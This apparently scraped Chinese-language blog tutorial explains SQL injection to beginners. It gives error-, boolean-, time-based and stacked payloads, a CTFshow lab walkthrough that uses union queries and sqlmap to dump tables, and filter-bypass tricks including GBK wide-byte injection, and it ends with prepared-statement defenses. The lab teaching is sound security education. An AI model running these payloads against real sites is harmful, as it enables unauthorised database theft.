2026/3/11 14:00:20
网站建设
项目流程
企业网站和展板建设,柳州市安全教育平台,go 网站开发,做彩妆网站的公司第2期#xff1a;Web漏洞挖掘实战#xff5c;SQL注入底层原理与全场景挖掘技巧 第一期的内容戳这里
前言
SQL注入是Web漏洞中最常见、危害最大的漏洞之一#xff0c;也是新手入门Web漏洞挖掘的首选场景。无论是CTF竞赛#xff0c;还是实战安全测试#xff0c;SQL注入都频…第2期Web漏洞挖掘实战SQL注入底层原理与全场景挖掘技巧第一期的内容戳这里前言SQL注入是Web漏洞中最常见、危害最大的漏洞之一也是新手入门Web漏洞挖掘的首选场景。无论是CTF竞赛还是实战安全测试SQL注入都频繁出现——其核心成因是“用户输入未被过滤直接拼接进入SQL语句导致SQL语句被恶意篡改”。本文将从底层原理出发拆解SQL注入的成因、分类、挖掘流程结合CTFshow靶场实战覆盖手动注入、工具自动化挖掘、过滤绕过技巧同时补充防护方案兼顾“挖掘能力”与“防护思维”适合Web安全新手、CTF爱好者阅读需具备基础的MySQL语法与HTTP协议知识。一、SQL注入底层成因拆解SQL注入的本质是“输入可控代码未过滤”底层核心是“SQL语句拼接漏洞”我们通过一个简单的代码示例理解其成因漏洞代码示例PHP?php // 接收用户输入的ID参数 $id $_GET[id]; // 连接数据库 $conn mysqli_connect(localhost, root, 123456, test); // 拼接SQL语句未过滤用户输入 $sql SELECT * FROM user WHERE id . $id; // 执行SQL语句并返回结果 $result mysqli_query($conn, $sql); // 输出结果 while ($row mysqli_fetch_assoc($result)) { echo 用户名 . $row[username] . br/; } ?注入触发过程当用户输入正常参数id1时拼接后的SQL语句为SELECT * FROM user WHERE id 1语句正常执行返回id1的用户数据当用户输入恶意参数id1 OR 11时拼接后的SQL语句为SELECT * FROM user WHERE id 1 OR 11由于11恒成立语句会返回所有用户数据触发SQL注入漏洞。核心成因总结SQL注入的出现本质是开发者忽视了“用户输入的不可信性”未对输入进行严格过滤导致恶意输入被当作SQL语句的一部分执行。其核心触发条件有两个输入可控用户可以控制传入SQL语句的参数如URL参数、表单参数、Cookie未做过滤开发者未对用户输入的特殊字符单引号、双引号、OR、AND、注释符等进行过滤或转义。二、SQL注入的核心分类按触发场景根据触发场景与数据交互方式SQL注入可分为4类不同类型的挖掘思路与利用方法略有差异新手需重点掌握前3类。基于报错的SQL注入核心特征注入恶意参数后页面会返回数据库报错信息如MySQL的语法错误、Oracle的权限错误可通过报错信息获取数据库结构触发条件程序开启了数据库报错显示如PHP的display_errorsOn常用payload’ and extractvalue(1,concat(0x7e,database(),0x7e))–MySQL。基于布尔的盲注核心特征注入恶意参数后页面无报错信息但会根据SQL语句的执行结果返回不同内容如正常显示/空白显示、登录成功/失败触发条件程序未显示数据库报错仅返回执行结果的布尔值真/假挖掘思路通过构造布尔表达式如OR 11、OR 12逐字符猜解数据库信息效率较低需借助工具自动化。基于时间的盲注核心特征注入恶意参数后页面无报错、无内容差异但会根据SQL语句的执行结果延迟响应如sleep(5)页面延迟5秒加载触发条件程序未显示任何执行结果仅能通过响应时间判断SQL语句是否执行常用payload’ and sleep(5)–MySQL若页面延迟5秒加载说明存在注入。堆叠注入核心特征通过分号;分隔SQL语句执行多个SQL语句如查询删除、查询插入触发条件程序支持执行多个SQL语句如PHP的mysqli_multi_query函数风险等级极高可直接执行增删改查操作甚至删除数据库。三、SQL注入标准化挖掘流程靶场实战同步本文以CTFshow Web入门第1题SQL注入为例拆解“信息收集→漏洞探测→漏洞利用→漏洞验证”的完整流程新手可跟着实操。信息收集前置步骤目标信息靶场地址如http://xxx.ctfshow.com/?id1URL参数id可控数据库类型探测通过构造特殊参数如id1’观察页面报错信息确认数据库为MySQL参数类型判断输入id1 and 11数字型页面正常显示输入id1’ and 11–字符型页面报错说明为数字型注入。漏洞探测核心步骤漏洞探测的核心是“确认是否存在注入点”常用两种方式手动探测与工具探测。1手动探测步骤1构造测试参数判断是否存在注入点http://xxx.ctfshow.com/?id1’ # 页面报错说明可能存在注入http://xxx.ctfshow.com/?id1– # 页面正常显示确认存在注入步骤2判断字段数用于联合查询使用order by语句http://xxx.ctfshow.com/?id1 order by 3– # 正常显示http://xxx.ctfshow.com/?id1 order by 4– # 报错说明字段数为3步骤3判断显示位联合查询的结果显示位置使用union select语句http://xxx.ctfshow.com/?id-1 union select 1,2,3– # 页面显示2、3说明2、3为显示位2工具探测SQLmap对于复杂场景可使用SQLmap自动化探测核心命令如下新手直接复制修改# 探测是否存在SQL注入 sqlmap -u http://xxx.ctfshow.com/?id1 # 列出所有数据库 sqlmap -u http://xxx.ctfshow.com/?id1 --dbs # 列出指定数据库如ctfshow_web的所有表 sqlmap -u http://xxx.ctfshow.com/?id1 -D ctfshow_web --tables # 提取指定表如flag的所有字段数据 sqlmap -u http://xxx.ctfshow.com/?id1 -D ctfshow_web -T flag -C flag --dump说明SQLmap会自动判断注入类型、数据库类型新手需注意若目标存在反爬需添加–cookie参数携带登录Cookie。漏洞利用获取核心数据这里以手动联合查询为例获取数据库名、表名、字段名与Flag步骤1获取数据库名http://xxx.ctfshow.com/?id-1 union select 1,database(),3– # 数据库名为ctfshow_web步骤2获取表名使用information_schema数据库http://xxx.ctfshow.com/?id-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema‘ctfshow_web’– # 表名为flag步骤3获取字段名http://xxx.ctfshow.com/?id-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema‘ctfshow_web’ and table_name‘flag’– # 字段名为flag步骤4获取Flaghttp://xxx.ctfshow.com/?id-1 union select 1,flag,3 from ctfshow_web.flag– # 得到Flag漏洞验证与风险评估漏洞验证通过手动构造payload或SQLmap dump数据确认可获取数据库核心数据说明漏洞可被利用风险评估该漏洞为高危可直接窃取数据库核心数据若数据库中存在用户密码、业务数据会造成严重的数据泄露。四、常见过滤绕过技巧实战必备实战中开发者常会对用户输入进行过滤新手需掌握以下4种常用绕过技巧应对不同过滤场景。注释符绕过若开发者过滤了–注释符可使用其他注释符替代# 常用注释符 -- # 标准注释符MySQL /* */ # 多行注释符如 /* and 11 */ # # 井号注释符需URL编码为%23如 and 11 #关键字绕过若开发者过滤了OR、AND、SELECT、UNION等关键字可使用以下方法绕过大小写混淆如UnIoN、SeLeCt、oR关键字拼接如SEL/abc/ECT中间插入注释绕过过滤编码绕过将关键字进行URL编码、Hex编码如OR编码为%4F%52。特殊字符绕过若开发者过滤了单引号、双引号可根据注入类型选择绕过方法数字型注入无需单引号直接构造布尔表达式即可字符型注入使用十六进制编码如将’admin’编码为0x61646D696E拼接为id1 and username0x61646D696E。宽字节注入绕过若开发者使用addslashes函数对单引号进行转义将’转义为’可使用宽字节注入绕过适用于MySQL数据库编码为GBKhttp://xxx.ctfshow.com/?id1%df union select 1,2,3--原理%df与转义符\ASCII码为0x5C拼接为%df5CGBK编码中%df5C是一个合法汉字从而绕过转义使单引号生效。五、SQL注入防护方案实战延伸挖掘漏洞的同时需掌握防护思路形成“攻防兼备”的能力SQL注入的核心防护方案有3种输入过滤与转义对用户输入的特殊字符单引号、双引号、OR、AND等进行过滤或转义推荐使用编程语言自带的过滤函数如PHP的mysqli_real_escape_string参数化查询预处理语句这是最有效的防护方案将SQL语句与用户输入分离用户输入仅作为参数传递无法篡改SQL语句结构示例PHP$sql SELECT * FROM user WHERE id ?; $stmt mysqli_prepare($conn, $sql); mysqli_stmt_bind_param($stmt, i, $id); # i表示参数为整数 mysqli_stmt_execute($stmt);权限控制给数据库账号分配最小权限例如查询账号仅授予select权限禁止授予drop、delete等高危权限即使出现注入也能降低危害。六、新手避坑指南核心4点避坑1混淆注入类型盲目构造payload。需先判断是数字型还是字符型注入再构造对应的payload否则会导致注入失败避坑2过度依赖SQLmap忽视手动注入。实战中部分场景会限制工具访问如反爬、WAF手动注入是必备能力避坑3未判断字段数与显示位直接使用联合查询。字段数不匹配会导致SQL语句报错无法执行避坑4忽略WAF防护。实战中很多目标会部署WAF需先探测WAF类型再选择对应的绕过方法如分段注入、编码注入。七、总结与下期预告本文拆解了SQL注入的底层成因、核心分类、标准化挖掘流程与过滤绕过技巧结合CTFshow靶场完成了实战实操核心要点是“理解SQL语句拼接漏洞掌握手动注入与工具注入的结合方法”。SQL注入的挖掘核心不是背诵payload而是理解底层逻辑才能应对不同场景的过滤与防护。下期预告将聚焦Web漏洞挖掘的另一大高频场景——XSS跨站脚本漏洞拆解其底层渲染原理、分类、挖掘流程与绕过技巧结合OWASP WebGoat靶场实战帮大家掌握XSS漏洞的挖掘与防护能力敬请关注网安学习资源网上虽然也有很多的学习资源但基本上都残缺不全的这是我们和网安大厂360共同研发的的网安视频教程内容涵盖了入门必备的操作系统、计算机网络和编程语言等初级知识而且包含了中级的各种渗透技术并且还有后期的CTF对抗、区块链安全等高阶技术。总共200多节视频100多本网安电子书最新学习路线图和工具安装包都有不用担心学不全。这些东西我都可以免费分享给大家需要的可以点这里自取:网安入门到进阶资源